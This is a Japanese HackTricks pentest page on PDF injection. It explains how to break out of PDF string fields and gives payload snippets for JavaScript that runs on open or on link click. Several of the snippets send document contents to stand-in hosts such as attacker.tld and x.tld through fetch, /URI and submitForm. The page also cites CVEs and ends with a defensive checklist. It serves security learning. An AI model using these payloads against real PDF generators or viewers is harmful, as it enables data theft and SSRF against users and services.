PDF Injection

Reading time: 8 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

PDFファイル内に入力が反映されている場合、JavaScriptを実行したり、SSRFを行ったり、PDFコンテンツを盗むためにPDFデータを注入することができます。 PDF構文は非常に寛容です – 入力を埋め込んでいる文字列や辞書から抜け出すことができれば、Acrobat/Chromeが喜んで解析するまったく新しいオブジェクト(または同じオブジェクト内の新しいキー)を追加できます。 2024年以降、バグバウンティレポートの波が、エスケープされていない1つの括弧またはバックスラッシュで完全なスクリプト実行が可能であることを示しています。

TL;DR – 現代の攻撃ワークフロー (2024)

  1. 生成されたPDF内の**(括弧文字列)**、/URI ( … )または/JS ( … )フィールドに最終的に入るユーザー制御値を見つけます。
  2. ) (文字列を閉じる)を注入し、以下のプリミティブの1つを続け、構文を有効に保つために別の開き括弧で終わります。
  3. 悪意のあるPDFを被害者に配信します(または自動的にファイルをレンダリングするバックエンドサービスに – ブラインドバグに最適です)。
  4. あなたのペイロードはPDFビューアで実行されます:
  • Chrome / Edge → PDFium Sandbox
  • Firefox → PDF.js (CVE-2024-4367を参照)
  • Acrobat → 完全なJavaScript API(this.getPageNthWordを使用して任意のファイル内容を抽出可能)

Example (annotation link hijack):

pdf
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (

最初の ) は元のURI文字列を閉じ、次にユーザーがリンクをクリックしたときにAcrobatが実行する新しいAction辞書を追加します。

有用なインジェクションプリミティブ

目標ペイロードスニペットノート
オープン時のJavaScript/OpenAction << /S /JavaScript /JS (app.alert(1)) >>ドキュメントが開かれたときに即座に実行されます(Acrobatでは動作しますが、Chromeでは動作しません)。
リンク時のJavaScript/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>/Link アノテーションを制御している場合、PDFiumとAcrobatで動作します。
ブラインドデータ流出<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)JS内で this.getPageNthWord と組み合わせてコンテンツを盗むことができます。
サーバーサイドSSRF上記と同じですが、内部URLをターゲットにします – PDFが /URI を尊重するバックオフィスサービスによってレンダリングされるときに便利です。
新しいオブジェクトのための改行\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobjライブラリが改行文字のインジェクションを許可する場合、まったく新しいオブジェクトを作成できます。

ブラインド列挙トリック

Gareth Heyes (PortSwigger) は、未知のドキュメント内のすべてのオブジェクトを列挙するワンライナーを公開しました – 生成されたPDFが見えないときに便利です:

pdf
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (

コードはAcrobat DOMを反復処理し、すべてのプロパティ/値ペアに対して外部リクエストを行い、ファイルのJSON-ishダンプを提供します。完全な技術については、ホワイトペーパー「Portable Data exFiltration」を参照してください。

実世界のバグ (2023-2025)

  • CVE-2024-4367 – FirefoxのPDF.js 4.2.67以前での任意のJavaScript実行が、作成された/JavaScriptアクションでサンドボックスをバイパスしました。
  • バグバウンティ 2024-05 – 大手フィンテックが顧客提供の請求書ノートを/URIに許可し、file:/// URIを使用して内部メタデータホストへのSSRFを示した後、報告に対して$10kが支払われました。
  • CVE-2023-26155 – サニタイズされていないPDFパスを介したnode-qpdfコマンドインジェクションは、PDFレイヤーの前にバックスラッシュと括弧をエスケープする重要性を示しています。

防御のチートシート

  1. 生のユーザー入力を()文字列や名前の中で連結しないでください。 PDF仕様の§7.3に従って必要に応じて\()をエスケープするか、16進数文字列<...>を使用してください。
  2. リンクを構築する場合は、完全にURLエンコードされた/URI (https://…)を優先し、クライアントビューアでjavascript:スキームをブロックしてください。
  3. PDFを後処理する際に/OpenAction/AA(追加アクション)、/Launch/SubmitForm、および/ImportData辞書を削除または検証してください。
  4. サーバー側では、JavaScriptと外部アクションを削除するヘッドレスコンバータ(例:qpdf –decrypt –linearize)を使用して信頼できないPDFをレンダリングしてください。
  5. PDFビューアを最新の状態に保ってください。PDF.js < 4.2.67および2024年7月以前のAcrobat Readerは、簡単なコード実行を許可します。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする